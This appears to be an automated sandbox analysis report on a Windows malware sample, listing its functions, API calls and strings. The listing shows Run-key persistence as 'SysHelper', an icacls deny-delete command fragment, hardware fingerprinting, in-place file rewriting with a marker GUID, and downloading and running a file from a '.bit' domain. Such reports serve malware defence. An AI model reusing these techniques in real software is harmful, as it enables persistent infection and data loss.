PathFindFileNameW.SHLWAPI(?,?,00000000,000000FF,?,00000000), ref: 0040F900
_memmove.LIBCMT ref: 0040F9EA
PathFindFileNameW.SHLWAPI(?,?,00000000,00000000,00000000,-00000002), ref: 0040FA51
_memmove.LIBCMT ref: 0040FADA

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Message$FileFindNamePathPeek_memmove$Dispatch
String ID:
API String ID: 273148273-0
Opcode ID: 77edc1100404ff0a747446dd2280961155f2864891569c44b5de9c5081a77404
Instruction ID: a2fe25dd57492d494e78aebb36a96054b80ce25314fb01b08d1ce03a62da89f0
Opcode Fuzzy Hash: 77edc1100404ff0a747446dd2280961155f2864891569c44b5de9c5081a77404
Instruction Fuzzy Hash: D652A271D00208DBDF20DFA4D985BDEB7B4BF05308F10817AE419B7291D779AA89CB99

Function 0040E870 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 165
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000), ref: 0040E8CE
__CxxThrowException@8.LIBCMT ref: 0040E8E4

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040E8F9
__CxxThrowException@8.LIBCMT ref: 0040E90F
CryptHashData.ADVAPI32(00000000,00000000,?,00000000), ref: 0040E928
__CxxThrowException@8.LIBCMT ref: 0040E93E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040E95D
__CxxThrowException@8.LIBCMT ref: 0040E96F
_memset.LIBCMT ref: 0040E98E
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040E9A2
__CxxThrowException@8.LIBCMT ref: 0040E9B4
_sprintf.LIBCMT ref: 0040E9D3

Strings

%.2X, xrefs: 0040E9CD

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: CryptException@8Throw$Hash$Param$AcquireContextCreateDataExceptionRaise_memset_sprintf
String ID: %.2X
API String ID: 1084002244-213608013
Opcode ID: 0020aaaefdb6c4dcb4bf3e2ceb4008ce88efa9caebdce230c40b083e7cee562a
Instruction ID: 6020eefb82f776eec2353dc0ff897aa1862dcd4ecc30860888fbdadc8ba65bc1
Opcode Fuzzy Hash: 0020aaaefdb6c4dcb4bf3e2ceb4008ce88efa9caebdce230c40b083e7cee562a
Instruction Fuzzy Hash: 835173B1E40209EBDF11DFA2DC46FEEBB78EB04704F10452AF501B61C1D7796A158BA9

Function 0040EAA0 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 159
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptAcquireContextW.ADVAPI32(00000000,00000000,00000000,00000001,F0000000,004FFCA4,00000000,00000000,00000000,?), ref: 0040EB01
__CxxThrowException@8.LIBCMT ref: 0040EB17

Part of subcall function 00430ECA: RaiseException.KERNEL32(?,?,0044F299,?,?,?,?,?,?,?,0044F299,?,00508238,?), ref: 00430F1F

CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 0040EB2C
__CxxThrowException@8.LIBCMT ref: 0040EB42
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 0040EB4E
__CxxThrowException@8.LIBCMT ref: 0040EB64
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 0040EB83
__CxxThrowException@8.LIBCMT ref: 0040EB95
_memset.LIBCMT ref: 0040EBB4
CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,00000000,00000000), ref: 0040EBC8
__CxxThrowException@8.LIBCMT ref: 0040EBDA
_sprintf.LIBCMT ref: 0040EBF4
CryptDestroyHash.ADVAPI32(00000000), ref: 0040EC44
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 0040EC4F

Strings

%.2X, xrefs: 0040EBEE

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Crypt$Exception@8HashThrow$ContextParam$AcquireCreateDataDestroyExceptionRaiseRelease_memset_sprintf
String ID: %.2X
API String ID: 1637485200-213608013
Opcode ID: 3c969f350820ba706d19a7227015f75167d650bfbf9457a4931adb697a62dd31
Instruction ID: 14d7d02cf3c54262bdef7e6fa07b3cadf7b2b7504ea62fb0b9d39e8d8664034d
Opcode Fuzzy Hash: 3c969f350820ba706d19a7227015f75167d650bfbf9457a4931adb697a62dd31
Instruction Fuzzy Hash: A6515371E40209ABDF11DBA6DC46FEFBBB8EB04704F14052AF505B62C1D77969058BA8

Function 0040E670 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040E67F

Part of subcall function 00420C62: __FF_MSGBANNER.LIBCMT ref: 00420C79
Part of subcall function 00420C62: __NMSG_WRITE.LIBCMT ref: 00420C80
Part of subcall function 00420C62: RtlAllocateHeap.NTDLL(006F0000,00000000,00000001,00000001,?,?,?,00430E81,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420CA5

_malloc.LIBCMT ref: 0040E68B
_wprintf.LIBCMT ref: 0040E69E
_free.LIBCMT ref: 0040E6A4

Part of subcall function 00420BED: RtlFreeHeap.NTDLL(00000000,00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C01
Part of subcall function 00420BED: GetLastError.KERNEL32(00000000,?,0042507F,00000000,00000001,00000000,?,?,?,00430D1A,0044F284,?), ref: 00420C13

GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6B9
_free.LIBCMT ref: 0040E6C5
_malloc.LIBCMT ref: 0040E6CD
GetAdaptersInfo.IPHLPAPI(00000000,00000288), ref: 0040E6E0
_sprintf.LIBCMT ref: 0040E720
_wprintf.LIBCMT ref: 0040E732
_wprintf.LIBCMT ref: 0040E73C
_free.LIBCMT ref: 0040E745

Strings

Address: %s, mac: %s, xrefs: 0040E72D
Error allocating memory needed to call GetAdaptersinfo, xrefs: 0040E699
%02X:%02X:%02X:%02X:%02X:%02X, xrefs: 0040E71A

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$AdaptersHeapInfo$AllocateErrorFreeLast_sprintf
String ID: %02X:%02X:%02X:%02X:%02X:%02X$Address: %s, mac: %s$Error allocating memory needed to call GetAdaptersinfo
API String ID: 3901070236-1604013687
Opcode ID: a328fcd4842b127b9f08d968f541d4271d964a2002a9895a22376d6d76895778
Instruction ID: 1f0497fb971ee708fef02f82321736b2a43cb7681c3985dbc626545fd8dc3fd8
Opcode Fuzzy Hash: a328fcd4842b127b9f08d968f541d4271d964a2002a9895a22376d6d76895778
Instruction Fuzzy Hash: 251127B2A045647AC27162F76C02FFF3ADC8F45705F84056BFA98E1182EA5D5A0093B9

Function 0040FB98 Relevance: 15.3, APIs: 10, Instructions: 266
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PathAppendW.SHLWAPI(?,?), ref: 0040FBD5
_memmove.LIBCMT ref: 0040FC3C
PathFileExistsW.SHLWAPI(?,?,?,00000007), ref: 0040FC63
_malloc.LIBCMT ref: 0040FC72
lstrcpyW.KERNEL32(00000000,?), ref: 0040FC8C
lstrcatW.KERNEL32(00000000,?), ref: 0040FCA5
_free.LIBCMT ref: 0040FCD7

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Path$AppendExistsFile_free_malloc_memmovelstrcatlstrcpy
String ID:
API String ID: 3232302685-0
Opcode ID: bc9d9ef17ae542408d1451ce883db7836c370dd45a3af22d0880f3bd59460d65
Instruction ID: e959444c36dd18fc08dff6604914d564c76187b82df2896015b22d61e5b1ffa1
Opcode Fuzzy Hash: bc9d9ef17ae542408d1451ce883db7836c370dd45a3af22d0880f3bd59460d65
Instruction Fuzzy Hash: 09B19F70D00208DBDF20DFA4D945BDEB7B5BF15308F50407AE40AAB291E7799A89CF5A

Function 00411CD0 Relevance: 79.1, APIs: 36, Strings: 9, Instructions: 382
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
_memset.LIBCMT ref: 00411D3B
RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48
LoadLibraryW.KERNEL32(Shell32.dll,?,?), ref: 00411E99
GetProcAddress.KERNEL32(00000000,SHGetFolderPathW), ref: 00411EA5
GetCommandLineW.KERNEL32 ref: 00411EB4
CommandLineToArgvW.SHELL32(00000000,00000000), ref: 00411EBF
lstrcpyW.KERNEL32(?,00000000), ref: 00411ECE
PathFindFileNameW.SHLWAPI(?), ref: 00411EDB
UuidCreate.RPCRT4(?), ref: 00411EFC
UuidToStringW.RPCRT4(?,?), ref: 00411F14
RpcStringFreeW.RPCRT4(00000000), ref: 00411F64
PathAppendW.SHLWAPI(?,?), ref: 00411F83
CreateDirectoryW.KERNEL32(?,00000000), ref: 00411F8E
PathAppendW.SHLWAPI(?,?,?,?), ref: 0041202D
DeleteFileW.KERNEL32(?), ref: 00412036
CopyFileW.KERNEL32(?,?,00000000), ref: 0041204C
RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?), ref: 0041206E
_memset.LIBCMT ref: 00412090
lstrcpyW.KERNEL32(?,005002FC), ref: 004120AA
lstrcatW.KERNEL32(?,?), ref: 004120C0
lstrcatW.KERNEL32(?," --AutoStart), ref: 004120CE
lstrlenW.KERNEL32(?), ref: 004120D7
RegSetValueExW.ADVAPI32(00000000,SysHelper,00000000,00000002,?,00000000), ref: 004120F3
RegCloseKey.ADVAPI32(00000000), ref: 004120FC
_memset.LIBCMT ref: 00412120
SetLastError.KERNEL32(00000000), ref: 00412146
lstrcpyW.KERNEL32(?,icacls "), ref: 00412158
lstrcatW.KERNEL32(?,?), ref: 0041216D

Strings

icacls ", xrefs: 0041214C
" /deny *S-1-1-0:(OI)(CI)(DE,DC), xrefs: 0041216F
" --AutoStart, xrefs: 004120C2
Shell32.dll, xrefs: 00411E94
" --AutoStart, xrefs: 00411DD1
SHGetFolderPathW, xrefs: 00411E9F
D, xrefs: 00412128
SysHelper, xrefs: 00411D5B, 004120EB
Software\Microsoft\Windows\CurrentVersion\Run, xrefs: 00411D06, 00412064

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: FilePath$_memsetlstrcatlstrcpy$AppendCloseCommandCreateLineOpenStringUuidValuelstrlen$AddressArgvCopyDeleteDirectoryErrorExistsFindFreeLastLibraryLoadNameProcQuery
String ID: " --AutoStart$" --AutoStart$" /deny *S-1-1-0:(OI)(CI)(DE,DC)$D$SHGetFolderPathW$Shell32.dll$Software\Microsoft\Windows\CurrentVersion\Run$SysHelper$icacls "
API String ID: 2589766509-1182136429
Opcode ID: 6a9ffd1a2a2b843033091c9d449c52803308771915f2877ac5893c04e650abc0
Instruction ID: 715e32bd1e023583792331b7dbf49be96a7b9f80df69a50876529e1503cb0a0b
Opcode Fuzzy Hash: 6a9ffd1a2a2b843033091c9d449c52803308771915f2877ac5893c04e650abc0
Instruction Fuzzy Hash: 51E14171D00219EBDF24DBA0DD89FEE77B8BF04304F14416AE609E6191EB786A85CF58

Function 004111C0 Relevance: 65.3, APIs: 36, Strings: 1, Instructions: 551
filestringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000001,00000000,00000003,00000080,00000000,?,00000000,?), ref: 0041120F
GetFileSizeEx.KERNEL32(00000000,?,?,00000000,?), ref: 00411228
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041123D
MoveFileW.KERNEL32(00000000,?), ref: 00411277
VirtualAlloc.KERNEL32(00000000,00025815,00001000,00000004,?,00000000,?), ref: 004112B1
_memset.LIBCMT ref: 004112C8
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 00411301
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00411314
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041131B
ReadFile.KERNEL32(00000000,00000000,00000026,?,00000000,?,00000000,?), ref: 00411349
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00000000,?), ref: 00411381
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 00411388
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?), ref: 004113E6
ReadFile.KERNEL32(00000000,00000000,00025805,?,00000000,?,00000000,?), ref: 00411409
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?), ref: 00411417
CloseHandle.KERNEL32(00000000,?,00000000,?), ref: 0041141E
lstrlenA.KERNEL32(?,?,00000000,?), ref: 00411471
lstrlenA.KERNEL32(?,?,?,00000000,?), ref: 00411491
lstrlenA.KERNEL32(?,00000000,?,?,?,?,?,00000000,?), ref: 004114CF
SetFilePointer.KERNEL32(00000000,00000005,00000000,00000000,00000005,00000000,-000000FB,-000000FB,00000000,00000000,000000FF,00000000,00000000,00000000), ref: 0041159D
SetFilePointerEx.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 004115D0
WriteFile.KERNEL32(00000000,?,00000000,00000000,00000000,?,00000000,?), ref: 004115F8
WriteFile.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000), ref: 00411649
lstrlenA.KERNEL32({36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041166B
WriteFile.KERNEL32(00000000,{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5},00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411678
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?), ref: 0041168D
MoveFileW.KERNEL32(?,?), ref: 004116D6
VirtualFree.KERNEL32(00000000,00000000,00008000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004116EB

Strings

{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}, xrefs: 00411364, 00411666, 00411672

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: File$CloseHandleVirtual$FreePointerlstrlen$Write$MoveRead$AllocCreateSize_memset
String ID: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
API String ID: 254274740-1186676987
Opcode ID: 7ec433e08a36a6470a7b9bc9f3a0f8318749acc6aea549e1246d515d818a3658
Instruction ID: 4b60432aefe4dd0e03df0e566fa74873db0e7dc4ed90acce11ed2be1fb3b5442
Opcode Fuzzy Hash: 7ec433e08a36a6470a7b9bc9f3a0f8318749acc6aea549e1246d515d818a3658
Instruction Fuzzy Hash: E7229F70E00209EBDB10EBA5DC85FEEB7B8EF05304F10416AE519B7291DB785A85CB69

Function 0041DBD0 Relevance: 49.6, APIs: 23, Strings: 5, Instructions: 565
networkfilelibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040ECB0: _strtok.LIBCMT ref: 0040ED66

LoadLibraryW.KERNEL32(Shell32.dll), ref: 0041DCF5
GetProcAddress.KERNEL32(00000000,SHGetFolderPathA), ref: 0041DD01

Part of subcall function 00413C40: _memset.LIBCMT ref: 00413C83

UuidCreate.RPCRT4(?), ref: 0041DD3C
UuidToStringA.RPCRT4(?,?), ref: 0041DD57
RpcStringFreeA.RPCRT4(00000000), ref: 0041DDB4
PathAppendA.SHLWAPI(?,00000000), ref: 0041DDD3
CreateDirectoryA.KERNEL32(?,00000000), ref: 0041DDDC
_memset.LIBCMT ref: 0041DEE7
InternetOpenA.WININET(Microsoft Internet Explorer,00000000,00000000,00000000,00000000), ref: 0041DEFC

Part of subcall function 00412900: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000010,-000003FF,-000003FF), ref: 00412966

_wcsstr.LIBCMT ref: 0041DF50
InternetOpenUrlA.WININET(00000000,00000000), ref: 0041E07B

Part of subcall function 0040DD40: _wcsstr.LIBCMT ref: 0040DD8D
Part of subcall function 0040DD40: _wcsstr.LIBCMT ref: 0040DDB6
Part of subcall function 0040DD40: _memset.LIBCMT ref: 0040DDE4
Part of subcall function 0040DD40: lstrlenW.KERNEL32(?), ref: 0040DE0A
Part of subcall function 0040DD40: gethostbyname.WS2_32(00500134), ref: 0040DEA7

_memmove.LIBCMT ref: 0041DFDD
HttpQueryInfoW.WININET(00000000,20000013,?,00000000,00000000), ref: 0041E10D
lstrcpyA.KERNEL32(?,?), ref: 0041E229
PathAppendA.SHLWAPI(?,?), ref: 0041E23F
CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000,?,?), ref: 0041E288
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0041E2A0
InternetReadFile.WININET(00000000,?,00002800,?), ref: 0041E2C7
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0041E2FB
CloseHandle.KERNEL32(00000000), ref: 0041E317
InternetCloseHandle.WININET(00000000), ref: 0041E324
InternetCloseHandle.WININET(?), ref: 0041E32A
ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 0041E34D

Strings

.bit/, xrefs: 0041DF45
Shell32.dll, xrefs: 0041DCF0
Microsoft Internet Explorer, xrefs: 0041DEF7
SHGetFolderPathA, xrefs: 0041DCFB
$run, xrefs: 0041DEAB

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Internet$File$CloseCreateHandle_memset_wcsstr$AppendOpenPathStringUuid$AddressByteCharDirectoryExecuteFreeHttpInfoLibraryLoadMultiPointerProcQueryReadShellWideWrite_memmove_strtokgethostbynamelstrcpylstrlen
String ID: $run$.bit/$Microsoft Internet Explorer$SHGetFolderPathA$Shell32.dll
API String ID: 1843630811-800396732
Opcode ID: 06a6cdfd928bdd74e9dbd813be0d50d44bae77074fbb93b1842d844874a95530
Instruction ID: dcf8a581e05b5da13000ef7a953c2c15a8b95d2250363c4482f8ef8be3b44f4c
Opcode Fuzzy Hash: 06a6cdfd928bdd74e9dbd813be0d50d44bae77074fbb93b1842d844874a95530
Instruction Fuzzy Hash: BF32C070108380EFE730DF25C845B9BBBE4AF85308F10491EF99957291D7BA9589CB9B

Function 00412220 Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 116
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCommandLineW.KERNEL32 ref: 00412235
CommandLineToArgvW.SHELL32(00000000,?), ref: 00412240
PathFindFileNameW.SHLWAPI(00000000), ref: 00412248
LoadLibraryW.KERNEL32(kernel32.dll), ref: 00412256
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041226A
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00412275
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00412280
LoadLibraryW.KERNEL32(Psapi.dll), ref: 00412291
GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 0041229F
GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004122AA
GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004122B5
K32EnumProcesses.KERNEL32(?,0000A000,?), ref: 004122CD
OpenProcess.KERNEL32(00000410,00000000,?), ref: 004122FE
K32EnumProcessModules.KERNEL32(00000000,?,00000004,?), ref: 00412315
K32GetModuleBaseNameW.KERNEL32(00000000,?,?,00000400), ref: 0041232C
CloseHandle.KERNEL32(00000000), ref: 00412347

Strings

Psapi.dll, xrefs: 0041228C
kernel32.dll, xrefs: 0041224E
GetModuleBaseNameW, xrefs: 00412277, 004122AC
EnumProcesses, xrefs: 00412264, 00412299
EnumProcessModules, xrefs: 0041226C, 004122A1

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: AddressProc$CommandEnumLibraryLineLoadNameProcess$ArgvBaseCloseFileFindHandleModuleModulesOpenPathProcesses
String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Psapi.dll$kernel32.dll
API String ID: 3668891214-3807497772
Opcode ID: 2a8a9dd9818d9c7303d75e32746d1d8df15d61a28851d0a93ed3ef8fb498139a
Instruction ID: 197cd9f83d52dd112842658ec983a676e251e24b3cd7e802a51fbc3a937a58d5
Opcode Fuzzy Hash: 2a8a9dd9818d9c7303d75e32746d1d8df15d61a28851d0a93ed3ef8fb498139a
Instruction Fuzzy Hash: A3315371E0021DAFDB11AFE5DC45EEEBBB8FF45704F04406AF904E2190DA749A418FA5

Function 0041F130 Relevance: 21.7, APIs: 11, Strings: 1, Instructions: 689sleeptimewindowCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 0041F15E
Sleep.KERNEL32(?), ref: 0041F185
Sleep.KERNEL32(?), ref: 0041F19D
SendMessageW.USER32(?,00008003,00000000,00000000), ref: 0041F9D0

Part of subcall function 00410A50: GetLogicalDrives.KERNEL32 ref: 00410A75
Part of subcall function 00410A50: SetErrorMode.KERNEL32(00000001,00500234,00000002), ref: 00410AE2
Part of subcall function 00410A50: PathFileExistsA.SHLWAPI(?), ref: 00410AF9
Part of subcall function 00410A50: SetErrorMode.KERNEL32(00000000), ref: 00410B02
Part of subcall function 00410A50: GetDriveTypeA.KERNEL32(?), ref: 00410B1B

Strings

C:\, xrefs: 0041F1FC, 0041F267, 0041F709, 0041F72E, 0041F736

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: ErrorModeSleep$DriveDrivesExistsFileLogicalMessagePathSendTimeTypetime
String ID: C:\
API String ID: 3672571082-3404278061
Opcode ID: e2deaf627a7e3b3d51f0c7fa96b976d863de6944f728a2cee6f3c5f3a0c60e18
Instruction ID: 5c6d64671d491e840e8d62e2c9f1d443296aa8abdfe0033865403ad230f1735f
Opcode Fuzzy Hash: e2deaf627a7e3b3d51f0c7fa96b976d863de6944f728a2cee6f3c5f3a0c60e18
Instruction Fuzzy Hash: C842B171E003059BDF24DFA8C885BDEB7B1BF44308F14452EE805AB381D779A98ACB95

Function 0041BAE0 Relevance: 18.3, APIs: 12, Instructions: 320
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 0041BB49
DefWindowProcW.USER32(?,?,?,?), ref: 0041BBBA
_malloc.LIBCMT ref: 0041BBE4
GetComputerNameW.KERNEL32(00000000,?), ref: 0041BBF4
_free.LIBCMT ref: 0041BCD7

Part of subcall function 00411CD0: RegOpenKeyExW.KERNEL32(80000001,Software\Microsoft\Windows\CurrentVersion\Run,00000000,000F003F,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D12
Part of subcall function 00411CD0: _memset.LIBCMT ref: 00411D3B
Part of subcall function 00411CD0: RegQueryValueExW.KERNEL32(?,SysHelper,00000000,?,?,00000400), ref: 00411D63
Part of subcall function 00411CD0: RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,004CAC68,000000FF), ref: 00411D6C
Part of subcall function 00411CD0: lstrlenA.KERNEL32(" --AutoStart,?,?), ref: 00411DD6
Part of subcall function 00411CD0: PathFileExistsW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,-00000001), ref: 00411E48

IsWindow.USER32(?), ref: 0041BF69
DestroyWindow.USER32(?), ref: 0041BF7B
DefWindowProcW.USER32(?,00008003,?,?), ref: 0041BFA8

Memory Dump Source

Source File: 00000006.00000002.2683452760.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.2683452760.000000000051A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.2683452760.000000000052B000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_16oApcahEa.jbxd

Yara matches

Similarity

API ID: Window$Proc$CloseComputerDestroyExistsFileMessageNameOpenPathPostQueryQuitValue_free_malloc_memsetlstrlen
